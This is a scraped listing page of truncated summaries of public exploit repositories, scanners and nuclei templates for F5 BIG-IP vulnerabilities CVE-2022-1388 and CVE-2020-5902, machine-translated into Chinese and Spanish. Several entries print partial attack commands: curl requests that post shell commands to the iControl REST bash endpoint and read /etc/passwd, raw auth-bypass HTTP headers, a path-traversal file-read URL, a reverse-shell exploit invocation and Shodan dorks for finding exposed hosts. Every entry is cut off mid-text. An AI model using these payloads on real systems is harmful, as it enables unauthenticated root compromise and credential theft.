cve-2022-1388-1veresk

CVE-2022-1388 por 1vere$k CVE-2022-1388 la prueba de concepto. Dos regímenes de trabajo con: URL objetivo simple, el PUERTO predeterminado será 80 si no se menciona; archivo con lista de objetivos : \n\r; Usage root@kitploit: echo...

EvilRip

Cve-2020-5029-finder 这是一个用bash编写的小脚本，用于提取对CVE-2020-5902易受攻击的子域名/IP。 受影响版本 在BIG-IP版本15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1和11.6.1-11.6.5.1中，流量管理用户界面（TMUI）（也称为配置实用程序）在未公开的页面中存在远程代码执行（RCE）漏洞。 使用方法 为了使用此工具，您需要安装httprobe。 配置 首先，在list.txt中列出子域名（带http/https），您可以使用httprobe来实现：...

Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter

Nuclei Template Exploit F5 BIG-IP iControl REST Omisión de Autenticación RCE | Parámetro de Comando CVE-2022-1388 es una vulnerabilidad de omisión de autenticación en el componente REST de la API iControl de BIG-IP que recibió una puntuación CVSSv3 de 9.8. La API REST de iControl se utiliza para ...

F5-BIG-IP-CVE-2020-5902-shodan-scanner

F5-BIG-IP-CVE-2020-5902-checker 使用 Shodan CLI 的 F5 BIG-IP CVE-2020-5902 检查器的简单 bash 脚本 要求： Shodan-CLI : pip install -U --user shodan" https://help.shodan.io/command-line-interface/0-installation 免责声明： 该脚本仅用于安全分析和研究，因此如果被用于非法活动，本人不承担任何责任。...

CVE-2022-1388

CVE-2022-1388 影响 此漏洞可能允许未经身份验证的攻击者通过网络访问BIG-IP系统的管理端口和/或自IP地址，执行任意系统命令、创建或删除文件或禁用服务。不存在数据平面暴露；这仅是一个控制平面问题。 使用 root@kitploit: ./CVE-2022-1388.sh 受影响的产品 F5 BIG-IP 16.1.0 - 16.1.2 F5 BIG-IP 15.1.0 - 15.1.5 F5 BIG-IP 14.1.0 - 14.1.4 F5 BIG-IP 13.1.0 - 13.1.4 F5 BIG-IP 12.1.0 - 12.1.6 （将不会修复） F5 BIG-I...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner 使用Shodan API获取主机列表的F5 BIG-IP扫描器（CVE-2020-5902）自动化脚本。你必须拥有Shodan账户才能使用此脚本。如果没有Shodan账户，请点击这里注册。 安装 1. 安装依赖项。 root@kitploit: CentOS & Fedora sudo yum install git python3 -y Ubuntu & Debian sudo apt install git python3 python3-pip -y 2. 克隆仓库并安装Python模块 root@kitploit: git clone...

CVE-2022-1388

BIG-IP iControl REST 漏洞 CVE-2022-1388 PoC 该漏洞可能允许未经身份验证的攻击者通过网络访问BIG-IP系统的管理端口和/或自IP地址，从而执行任意系统命令、创建或删除文件或禁用服务 PoC 您可以使用以下单行curl命令检查F5 Big-IP漏洞，或使用提供的Python脚本。 root@kitploit: cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d...

F5-BIG-IP-POC

F5-BIG-IP POC go语言编写CVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC集合 后续会增加F5其他POC author:160team.west9B 仅限用于安全研究人员在授权的情况下使用，遵守网络安全法，产生任何问题，后果自负，与作者无关。 01-基本介绍 F5 POC合集： CVE-2020-5902：F5 BIG-IP远程代码执行漏洞 CVE-2021-22986：F5 BIG-IP iControl REST未授权远程命令执行漏洞 CVE-2022-1388：身份验证绕过远程命令执行 02-使用说明 usage:...

CVE-2022-1388-rs

CVE-2022-1388-rs 用 Rust 编写的 CVE-2022-1388 F5 BIG-IP iControl REST 认证绕过 RCE 扫描器和交互式 shell 摘要 总结一下，以下是利用此漏洞所需请求的必要条件： Connection 头部必须包含 X-F5-Auth-Token 必须存在 X-F5-Auth-Token 头部 Host 头部必须是 localhost / 127.0.0.1，或者 Connection 头部必须包含 X-Forwarded-Host Auth 头部必须设置为 admin 用户名和任意密码 PoC root@kitploit: POST...

CVE-2022-1388

CVE-2022-1388 用于 CVE-2022-1388 的 Nuclei 模板。我在 PoC 中使用了 shadow 文件，你也可以使用 passwd '/etc/passwd' 文件。你可以根据自己的需要更改 Extractor。 POC 参考： https://support.f5.com/csp/article/K23605346...

CVE-2020-5902

CVE-2020-5902 自动利用 RCE CVE-2020-5902 F5 BIG-IP RCE + 读取文件 Dorks : http.title:"BIG-IP®- Redirect" 使用 shodan.io...

CVE-2020-5902

CVE-2020-5902 在 BIG-IP 版本 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1 和 11.6.1-11.6.5.1 中，流量管理用户界面（TMUI，也称为配置实用程序）在未公开的页面上存在远程代码执行（RCE）漏洞。 概念验证 root@kitploit: https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd root@kitploit:...

f5scan

f5scan Escáner F5 BIG IP para CVE-2020-5902 por bt0 Más información sobre la vulnerabilidad: https://support.f5.com/csp/article/K52145254?sf235665517=1 Requisitos: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements Opciones root@kitploit: -h, --help muestra este mensaje de...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP 产品的 iControl REST API 功能中存在一个远程代码执行漏洞。未经身份验证的远程攻击者可以利用此漏洞绕过身份验证，并以 root 权限执行任意命令。 用法 python3 f5bigipscanner.py...

F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study

此存储库没有 README。...

F5-BigIP-CVE-2022-1388

F5-BigIP-CVE-2022-1388 Reverse Shell para CVE-2022-1388 Descarga y Uso git clone https://github.com/qusaialhaddad/F5-BigIP-CVE-2022-1388.git cd F5-BigIP-CVE-2022-1388 chmod +x Exploit-F5-BigIP-CVE-2022-1388.py python3 Exploit-F5-BigIP-CVE-2022-1388.py -t BigIP-IPAddress:Port -c "tmsh show sys...

CVE-2022-1388-checker

CVE-2022-1388-checker 用bash编写的简单脚本，用于对多个主机进行CVE-2022-1388（F5）的检查。 + 用法：./CVE-2022-1388.sh hosts.txt 参考 https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE 检测工具 简单的 bash 脚本，用于检查 CVE-2022-1388 RCE（F5 BIG-IP）。 + 用法：./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC 利用 不要忘记更改 IP 地址 root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection: keep-alive,...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST 认证绕过 RCE。 root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd, X-Forwarded-Server, X-Forwarded-Host...

checker-CVE-2020-5902

Checker CVE-2020-5902 Checker CVE-2020-5902：BIG-IP 版本 15.0.0 至 15.1.0.3、14.1.0 至 14.1.2.5、13.1.0 至 13.1.3.3、12.1.0 至 12.1.5.1 以及 11.6.1 至 11.6.5.1 存在流量管理用户界面（TMUI）任意文件读取和命令执行漏洞。 root@kitploit: + Autor: MrCl0wn + Blog: http://blog.mrcl0wn.com + GitHub: https://github.com/MrCl0wnLab + Twitter:...